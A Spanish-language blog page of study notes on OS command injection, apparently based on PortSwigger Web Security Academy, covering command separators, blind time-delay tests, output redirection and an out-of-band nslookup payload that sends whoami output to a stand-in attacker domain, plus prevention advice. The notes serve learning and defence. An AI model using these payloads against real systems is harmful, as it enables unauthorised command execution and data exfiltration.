JF0x0r's Blog
PortfolioBug Hunter ProfileGithub
  • Whoami
  • Aprender Go
    • 🐺¿Qué es GO 🦊
    • 🧠Packages
    • 🎃Modules
    • 🐢Variable - Tipos de Datos
    • 🧌Operadores Matematicos - Lógicos
    • 🥥Flujo If, For, While, Switch
    • 🌼Struct - Methods vs Functions
    • 📽️POO (Programming Oriented Object)
    • 🐯Interface - Interfaces
    • 🎱Punteros * &
    • 🐸Vectores/Arrays, Slices y Maps
    • 🫀El uso de Make en channels, slices, maps
    • 🧛‍♀️Errores en Go - Uso de err ≠ nil
    • 👁️GO Defer
    • 🦷GO Panic
    • 🦋GO Recover
    • 🐦Structs
    • 🐔WaitGroups Go
  • Pentester Lab
  • Guía de Estudio Hacking
  • Bug Bounty
    • 🍓Adobe
    • 🚀Nasa VDP
    • 🧀Figma
      • 🐙User Enumeration via Authentication Flow - Email Exposure
    • 🫐Syfe
    • 🍉Etoro
    • 🥭Glance Networks
  • PortSwigger WebAcademy
    • Server Side Topics
      • SQL Injection
        • 🐔Laboratorio: Inyección SQL ciega
        • 🍫Laboratorio: Datos Ocultos - Aprendiz
        • 🦍Laboratorio: Omitir inicio de sesión Bypass
        • 🔏Laboratorio: Calcular numero Columnas con UNION
        • 🪖Laboratorio: ataque UNION de inyección SQL , búsqueda de una columna que contiene texto
        • 🐧Laboratorio: ataque UNION de inyección SQL , recuperando datos de otras tablas
        • 🧛Laboratorio: ataque UNION de inyección SQL , recuperando múltiples valores en una sola columna
        • 🐬Laboratorio: Inyección SQL con errores condicionales
        • 🐈‍⬛Laboratorio: Inyección SQL basada en errores visibles
        • 💃Laboratorio: Inyección SQL ciega con retrasos de tiempo
        • 🐆Laboratorio: Inyección SQL ciega con retardos de tiempo y recuperación de información
        • 👑Laboratorio: Inyección SQL ciega con interacción fuera de banda
        • 🏞️Laboratorio: ataque de inyección SQL, consulta del tipo y versión de la base de datos en Oracle
        • 🪻Laboratorio: ataque SQLi, consulta del tipo y versión de la base de datos en MySQL y Microsoft
        • 💀Laboratorio: ataque de inyección SQL, enumerando el contenido de la base de datos en bases de datos
        • 🧀Laboratorio: Inyección SQL con omisión de filtro mediante codificación XML
      • Authentication
        • 🐟Laboratorio: Enumeracion de usernames via diferentes responses
        • 👩‍🦽Laboratorio: enumeración de nombres de usuario a través de respuestas sutilmente diferentes
        • ™️Laboratorio: enumeración de nombres de usuario mediante tiempos de respuesta
        • 🦷Laboratorio: protección de fuerza bruta rota, bloqueo de IP
        • 🧢Laboratorio: enumeración de nombres de usuario mediante bloqueo de cuenta
        • 🦠Laboratorio: protección de fuerza bruta rota, múltiples credenciales por solicitud
        • 🐛Laboratorio: bypass simple 2FA
        • 🐯Laboratorio: lógica rota 2FA
        • 👓Laboratorio: 2FA bypass usando un ataque por fuerza bruta
        • 👽Lab: Brute-forcing a stay-logged-in cookie
        • 🦋Laboratorio: Offline password cracking
        • 🧌Laboratorio: Password reset broken logic
        • 👁️Laboratorio: Basic password reset poisoning
        • 👂Laboratorio: Password reset poisoning via middleware
        • 🥻Laboratorio: Fuerza bruta de contraseña mediante cambio de contraseña
        • 🫁Laboratorio: Envenenamiento por restablecimiento de contraseña mediante etiquetas colgantes
      • Path Traversal
        • 🛻Laboratorio: File path traversal, simple case
        • 🦅Laboratorio: File path traversal, traversal sequences blocked with absolute path bypass
        • 🦉Laboratorio: recorrido de ruta de archivo , secuencias transversales eliminadas de forma no recursiv
        • 🍊Laboratorio: File path traversal, traversal sequences stripped with superfluous URL-decode
        • 🕷️Laboratorio: File path traversal, validation of file extension with null byte bypass
      • Command Injection OS
        • 🖥️Laboratorio: OS command injection, simple case
        • 🐹Laboratorio: Blind OS command injection with time delays
        • 👹Blind OS command injection with output redirection
        • 🧛‍♂️Laboratorio: Inyección ciega de comandos del SO con exfiltración de datos fuera de banda
        • 🦟Laboratorio: Inyección ciega de comandos del sistema operativo con interacción fuera de banda
      • Business Logic Vulnerabilities
        • 🧝‍♂️Laboratorio: Confianza excesiva en los controles del lado del cliente
        • 🧙‍♂️Laboratorio: Vulnerabilidad lógica de alto nivel
        • 🤩Laboratorio: Vulnerabilidad falla lógica de bajo nivel
        • 🎻Laboratorio: Manejo inconsistente de entradas excepcionales
        • 🏓Laboratorio: Inconsistent security controls
        • 🥭Laboratorio: Aislamiento débil en terminales de doble uso
        • 🧑‍✈️Laboratorio: Validación de flujo de trabajo insuficiente
        • 📀Laboratorio: Omisión de autenticación a través de una máquina de estado defectuosa
        • 🐦‍⬛Laboratorio: Aplicación defectuosa de las reglas comerciales
        • 🌵Laboratorio: falla en la lógica del dinero infinito
        • 🥑Laboratorio: omisión de autenticación mediante Oracle de cifrado
        • 🧊Lab: Bypassing access controls using email address parsing discrepancies
      • Information Disclosure Vulnerabilities
        • 🧟Laboratorio: Divulgación de información en mensajes de error
        • 🌵Laboratorio: divulgación de información en la página de depuración
        • 🍅Laboratorio: Divulgación del código fuente a través de archivos de respaldo
        • 🤿Laboratorio: omisión de autenticación mediante divulgación de información
        • 🏑Laboratorio: Divulgación de información en el historial de control de versiones
      • SSRF - Server-Side Request Forgery
        • 🧅Laboratorio: SSRF básico frente a otro sistema back-end
        • 🐮Laboratorio: SSRF con filtro de entrada basado en lista negra
        • 🌶️Laboratorio: SSRF con filtro de entrada basado en lista blanca
        • 💽Laboratorio: SSRF with filter bypass via open redirection vulnerability
        • ☎️Laboratorio: SSRF ciega con detección fuera de banda
        • 🥬Laboratorio: SSRF ciega con explotación Shellshock
        • 🐦Laboratorio: SSRF básico contra el servidor local
      • Acess Control
        • 🍑Laboratorio: funcionalidad de administración desprotegida
        • 🍉Laboratorio: funcionalidad de administración desprotegida con URL impredecible
        • 🐱Laboratorio: rol de usuario controlado por el parámetro de solicitud
        • 🐒Laboratorio: La función del usuario se puede modificar en el perfil del usuario
        • 🐴Laboratorio: el control de acceso basado en URL se puede eludir
        • 🍋Laboratorio: El control de acceso basado en métodos se puede eludir
        • 🎾Laboratorio: ID de usuario controlado por parámetro de solicitud
        • 🧆Laboratorio: ID de usuario controlado por parámetro de solicitud, con ID de usuario impredecibles
        • 🦑Laboratorio: ID de usuario controlado por parámetro de solicitud con fuga de datos en redirección
        • 😎Laboratorio: ID de usuario controlado por parámetro de solicitud con divulgación de contraseña
        • 🍗Laboratorio: Referencias directas a objetos inseguros
        • 🧀Laboratorio: proceso de varios pasos sin control de acceso en un solo paso
        • ⛄Laboratorio: Control de acceso basado en referentes
      • File Upload Vulnerabilities
        • 🛼Laboratorio: ejecución remota de código mediante carga de shell web
        • 🥦Laboratorio: carga de shell web mediante omisión de restricción de tipo de contenido
        • ⛵Laboratorio: carga de shell web mediante recorrido de ruta
        • 🛝Laboratorio: carga de shell web mediante omisión de la lista negra de extensiones
        • ⚾Laboratorio: carga de shell web a través de una extensión de archivo ofuscada
        • 🪖Laboratorio: carga de shell web mediante condición de carrera
      • Web Cache Deception
        • 🧀Laboratorio: Explotación del mapeo de rutas para el engaño de caché web
        • 🍨Laboratorio: Explotación de delimitadores de ruta para el engaño de caché web (v2)
        • 🪇Laboratorio: Explotación de la normalización del servidor de origen para el engaño de la caché web
        • 🍺Laboratorio: Explotación de la normalización del servidor de caché para el engaño de la caché web
        • ⚽Laboratorio: Explotación de reglas de caché de coincidencia exacta para el engaño de caché web
      • API Testing
        • 🥨Laboratorio: Explotación de un punto final de API mediante documentación
        • 🛝Laboratorio: Cómo encontrar y explotar un punto final de API no utilizado
        • 🧤Laboratorio: Explotación de una vulnerabilidad de asignación masiva
        • 🍒Laboratorio: Explotación de la contaminación de parámetros del lado del servidor en una cadena de co
        • 🥕Laboratorio: Explotación de la contaminación de parámetros del lado del servidor en una URL REST
      • XXE Injection - XML Entity
        • 🏸Laboratorio: Exploiting XXE using external entities to retrieve files
        • 🥾Laboratorio: Exploiting XXE to perform SSRF attacks
        • 🧑‍🎤Laboratorio: Blind XXE with out-of-band interaction
        • 🦉Laboratorio: Blind XXE with out-of-band interaction via XML parameter entities
        • 🌋Laboratorio: Exploiting blind XXE to exfiltrate data using a malicious external DTD
        • 👾Laboratorio: Exploiting blind XXE to retrieve data via error messages
        • 🌍Laboratorio: Exploiting XXE to retrieve data by repurposing a local DTD
        • 🫀Laboratorio: Exploiting XInclude to retrieve files
        • 👁️Laboratorio: Exploiting XXE via image file upload
      • Race Conditions
        • 🗣️Mutexes Golang
        • ⛸️Laboratorio: Limit overrun race conditions
        • 👽Laboratorio: Bypassing rate limits via race conditions
        • 👩‍🦯Laboratorio: Multi-endpoint race conditions
        • 🧢Laboratorio: Single-Endpoint Race Conditions
        • 🐛Laboratorio: Partial Construction Race Condition
        • 🔩Laboratorio: Exploiting time-sensitive vulnerabilities
      • No-SQL Injection
        • 🪱Laboratorio: Detecting NoSQL injection
        • 💼Laboratorio: Exploiting NoSQL operator injection to bypass authentication
        • 🪖Laboratorio: Exploiting NoSQL injection to extract data
        • 🦺Laboratorio: Exploiting NoSQL operator injection to extract unknown fields
    • Client Side Topics
      • Cross-site scripting (XSS)
        • XSS Reflected
          • ⛑️Laboratorio: XSS reflejado en contexto HTML sin nada codificado
        • XSS Based DOM
          • 🍖Laboratorio: DOM XSS en document.write, el receptor usando la fuente location.search
        • XSS Stored
          • 🪢Laboratorio: Stored XSS into HTML context with nothing encoded
          • 🥌Laboratorio: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded
    • Advanced Topics
      • 0Auth
      • Insecure Deserialization
        • 🧀Laboratorio: Modificar objetos en serie
        • 🧅Laboratorio: Modificar los tipos de datos en serie
        • 🎋Laboratorio: Usando funcionalidad de la aplicación para explotar la desserialización insegura
        • 🎯Laboratorio: Inyección arbitraria de objetos en PHP
        • 🍿Laboratorio: Inyección arbitraria de objetos en PHP
        • 🕸️Laboratorio: Exploiting Java deserialization with Apache Commons
        • 🥷Laboratorio: Exploiting PHP deserialization with a pre-built gadget chain
        • 🏈Laboratorio: Exploiting Ruby deserialization using a documented gadget chain
        • 🎄Laboratorio: Desarrollo de una cadena de gadget personalizada para la deserialización de Java
        • 👨‍🦽Laboratorio: Desarrollo una cadena de gadget personalizada para la deserialización de PHP
  • Hacking Certifications
    • ACP - APISec University
      • 🌍API Security Fundamentals 2025
      • 🫀OWASP API Security Top 10 and Beyond!
      • 🏓API Authentication
      • 🥥API Documentation Best Practices
      • 🌲Securing API Servers
Powered by GitBook
On this page
  • ¿Qué es la inyección de comandos del sistema operativo?
  • Ejecutando comandos inyectados de sistema operativo →
  • Comandos útiles
  • Blind OS command injection vulnerabilities
  • Retrasos delays de tiempo en la respuesta de la aplicación →
  • Importante considerar los posibles pipelines execs →
  • Inyección de comando en sistema operativo con tecnicas fuera de banda OAST →
  • Formas de inyectar comandos del sistema operativo →
  • Cómo prevenir ataques de inyección de comandos del sistema operativo
  • ¿Que pasa si no se implementa un API?
  • Referencias:
  1. PortSwigger WebAcademy
  2. Server Side Topics

Command Injection OS

Vamos a ver esta vulnerabilidad web que nos permite tomar control de una aplicación web mediante comandos operativos de sistemas UNIX, Windows.

PreviousLaboratorio: File path traversal, validation of file extension with null byte bypassNextLaboratorio: OS command injection, simple case

Last updated 7 months ago

  • Esta vulnerabilidad se trata nada mas y nada menos que de la capacidad para poder tirar comandos especificos desde una aplicación web de un sistema operativo especifico.

    • Como por ejm: Linux, Windows, MacOS, pero ya para cada SO existe y tiene su enfoque propio cada sistema operativo.

¿Qué es la inyección de comandos del sistema operativo?

  • Es una inyección de comandos que permite ejecutar comandos de un sistema operativo desde una aplicación web, esto a nivel de riesgo puede lograr comprometer todo el sistema, e incluso obteniendo datos importantes, además de que se puede lograr efectuar más acciones por encima de otras infraestructuras subyacentes dentro de la aplicación web para poder abarcar el ataque a otros sistemas de la organización.

Ejecutando comandos inyectados de sistema operativo →

  • En este caso podemos ver ejemplificado en el caso cuando por ejm una aplicación web necesita verificar la info de otro sitio web si está disponible por ejm X elemento, en este caso especifico de una lista de productos de la tipica pagina que conocemos de portswigger con productos, verificar y saber si hay X producto disponible en otra tienda especifica por ejm.

Accedemos a la información a través de esta URL:

  • https://insecure-website.com/stockStatus?productID=381&storeID=29

En este caso, por razones historica la forma en como se consulta en sistemas heredados es mediante un comando de Shell con los ID del producto y el ID de la tienda “store”

Argumentos: stockreport.pl 381 29 -> Sabemos que 381 en este caso el ID del producto, 29 el ID de la tienda Store.

De esta forma el comando lo que hara será generar el stock de la disponibilidad de los productos en X store (tienda), ahora bien nosotros podemos añadir inyectar nuestro comando de sistema operativo para ejecutar la sentencia que necesitemos deseemos, a modo de ejemplo →

  • & echo aiwefwlguh &

    • Si este comando se ejecuta en el productID la sentencia ejecutada del comando por el sistema sería:

    • Luego de ello que sería como una inyección sql, la ejecución del comando completo sería:

  • stockreport.pl & echo aiwefwlguh & 29

Esto retornaría una información un tanto util para entender ciertas cosas, lo que retorna es:

Error - productID was not provided aiwefwlguh 29: command not found

  1. Los parametros definidos para stockreport no se pasaron, por ello productID wasn`t provided

  2. La sentencía de echo “aiwefwlguh” se imprimio en la salida exitosamente

  3. 29 fue leido como otro comando sin embargo 29 no es ningún comando correcto para ser ejecutado.

De estas cosas se sabe que cada una fue ejecutada por a parte, y eso es debido a que cada comando o sentencia está separada por el unpersant “&” este lo que hace es separar cada sentencia por una a parte la una de la otro pero consecutivas la primera de la siguiente.

De hecho el “&” es el que nos permite poder ejecutar la inyección exitosamente para poder no omitir la inyección de comando.

Vamos a practicar con el primer laboratorio de este topico →


Comandos útiles

Después de identificar una vulnerabilidad de inyección de comandos del sistema operativo, es útil ejecutar algunos comandos iniciales para obtener información sobre el sistema. A continuación se muestra un resumen de algunos comandos que son útiles en las plataformas Linux y Windows:

Propósito del mando
Linux
Windows

Nombre del usuario actual

whoami

whoami

Sistema operativo

uname -a

ver

Configuración de la red

ifconfig

ipconfig /all

Conexiones de red

netstat -an

netstat -an

Procesos corriendo

ps -ef

tasklist


Blind OS command injection vulnerabilities

La verdad es que muchos casos de inyección de comandos no son realmente como el que vimos en el laboratorio anterior sino que son comandos de inyeccion Ciegos, osea, podemos inyectar comandos de so sin embargo no nos aparecerá información pertinente en la respuesta http, pero eso no es problema, hay otro enfoque para poder llevar a cabo ataques ciegos de inyección de comandos SO.

Por ejm podemos imaginar el caso de una pagina con un blog que tiene sección de comentarios donde los users pueden postear sus comentarios con sus correos correspondientes, en ese caso nosotros podriamos añadir un echo y añadir un & para testear si podemos inyectar un comando, sin embargo esto sin poder lograrlo ya que puede estar blindado para no mostrar nada en la respuesta http, por ejm:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

Aqui existe el comando mail que nos ayuda tomando el comentario del user junto con su correo y la url del website sin embargo no mostrará nada en el response.

Retrasos delays de tiempo en la respuesta de la aplicación →

  • Una tecnica que puede ser buena para comprobar si la pagina es susceptible a inyección de comandos sin response http es la del ping, podemos enviar unos ping al loopback 127.0.0.1 con un numero modificable de solicitudes ICMP 10,20,30, etc las que sean, entonces en función de eso podemos analizar la respuesta de la aplicación considerando cuanto se demora y de esa forma claramente podemos determinar si es o no vulnerable en función del tiempo claro, vamos a ver bien el comando.

    • & ping -c 10 127.0.0.1 &

    No olvidemos los andpersants, son importantes para poder continuar la inyección sin que sea omititida.


Importante considerar los posibles pipelines execs →

  • Podemos llegar a guardar la salida de una ejecución de un comando en un archivo plano que podemos guardar dentro del directorio raiz de un sitio web estatico.

    • Por ejm: si tenemos la pagina /var/www/static/ facilmente podemos conseguir una salida especifica del tipo:

    • & whoami > /var/www/static/whoami.txt #Probablemete se guarde en el txt

    luego simplemente podemos acceder a el desde el directorio raiz principal, como es un sitio estatico podemos obtener todo desde la raiz que es donde estan todos los elementos estaticos de la carpeta static/

    https://vulnerable-website.com/whoami.txt → Pagina ejemplo.

    Así recuperamos el archivo para poder ver el resultado del comando inyectado.


Inyección de comando en sistema operativo con tecnicas fuera de banda OAST →

  • Podemos implementar la forma en como redirigir la salida de nuestra inyección a un lugar o dominio propio nuestro como atacantes, algún recurso como burp collaborator para ese fin, nosotros como atacantes.

El canal fuera de banda proporciona una manera fácil de filtrar la salida de los comandos inyectados, un comando de inyección como por ejm:

& nslookup kgji2ohoyw.web-attacker.com &

Esta carga útil utiliza el nslookupcomando para provocar una búsqueda de DNS para el dominio especificado. El atacante puede monitorear para ver si se realiza la búsqueda y confirmar si el comando se inyectó exitosamente.

Esto provoca una búsqueda de DNS en el dominio del atacante que contiene el resultado del whoamicomando:

wwwuser.kgji2ohoyw.web-attacker.com

Como recordaba, para eso sirve el comando nslookup en cualquier distro o sistema operativo, ahora bien, lo que podemos hacer también sería compilar el comando desde la terminal, consultando la ip de google.com

Vamos a ver este concepto teorico en la practica, veamos como podemos resolver los próximos laboratorios.


Algo a tener en cuenta es que la inyección de comandos OS depende y varía mucho, es según el SO que podamos detectar o al menos que tipo de servidor es en el que se aloja la aplicación web, ya que de esta forma podremos definir la tasa % de exito que tendremos en los comandos que creamos para testear en la app, claro esto si nos regimos por un marco de testear manualmente paso a paso, si lo hacemos con una herramienta automatizada pues tirará de todo lo que tenga por tirar (que no es la idea) pero bueno en fin, es solo mi perspectiva y pensamiento ante ello.


Formas de inyectar comandos del sistema operativo →

  • Existen varios caracteres para poder ser usados en una posible inyección de comando que pueden funcionar tanto en windows como en linux UNIX y que permite el hecho de poder tirar comandos en conjunción para poder realizar el ataque por completo ya que son separadores de comando, uno de ellos son:

    • & Operador AND single

    • && Operador AND Two

    • | Operador OR single

    • || Operador OR Two

    Ahora bien existen otros tipos de separadores de comando sin embargo en este caso solo sirven en sistemas UNIX linux, los cuales son:

    • ;

    • Nueva Linea ox0a o \

También podemos aclarar que en sistemas basado en UNIX podemos añadir otros caracteres que nos permiten ejecutar secuencias de comandos en linea dentro del comando original, los caracteres son:

  • Comilla invertida: `

  • Caracter Dolar: $( e inyectar el comando)

La verdad es que los metacaracteres tienen diferentes comportamientos en la shell así que el usarlos acorde a lo que se pueda lograr es lo que realmente hará la diferencia, además de que pueden tener comportamientos sutilmente diferentes si funcionan en determinadas situaciones.

Otro factor a tener en cuenta es el hecho de que muchas veces intentamos inyectar un comando sin embargo toca tener en cuenta que el comando original que se intenta consultar en la aplicación legitimamente puede llegar a terminar en comillas ya sean " o ' así que se debe terminar el contexto citado usando de nuevo las " o ' para poder de esa forma continuar con los metacaracteres de shell adecuados para continuar con la inyección del comando.

Cómo prevenir ataques de inyección de comandos del sistema operativo

La forma en que la mayoria de veces se pueden inyectar comandos de SO es debido a que las aplicaciones integran los comandos de sistema operativo en el mismo codigo de la aplicación, por ejm: mantienen un codigo por debajo del aplicativo en el backend cuando un usuario digita su nombre y correo para publicar un comentario, bueno en ese caso se pueden inyectar comandos desde esa parte si realmente no se implementan las medidas de seguridad adecuadas y correctas para que no se pueda ni se deba inyectar un comando, por ello a veces lo mejor es implementar APIS seguras que pueden y permiten mantener seguro cualquier entrada suministrada por parte del usuario.

¿Que pasa si no se implementa un API?

Si no se puede implementar la API y toca llamar el comando del SO con la entrada proporcionada por el usuario entonces en ese caso en ese caso es de sumar importancia que se tengan ciertos parametros y reglas antes de crear una entrada la cual será parte del proceso de un usuario, así que se deben hacer las siguientes cosas para que sea más seguro el input.

  1. Validación de lista blanca con valores permitidos.

  2. Validando que la entrada del usuario sean numeros o solo caracteres dependiendo de lo que se necesite esa sintaxis requerida.

  3. Expresiones regulares Regex si es necesario para poder ajustar los caracteres expresamente a lo que se necesite.

  4. Que no se acepten espacios en blanco.

Referencias:

Eso es todo, si llegaste hasta aquí gracias por leerme :)

🖥️Laboratorio: OS command injection, simple case
What is OS command injection, and how to prevent it? | Web Security AcademyWebSecAcademy
Logo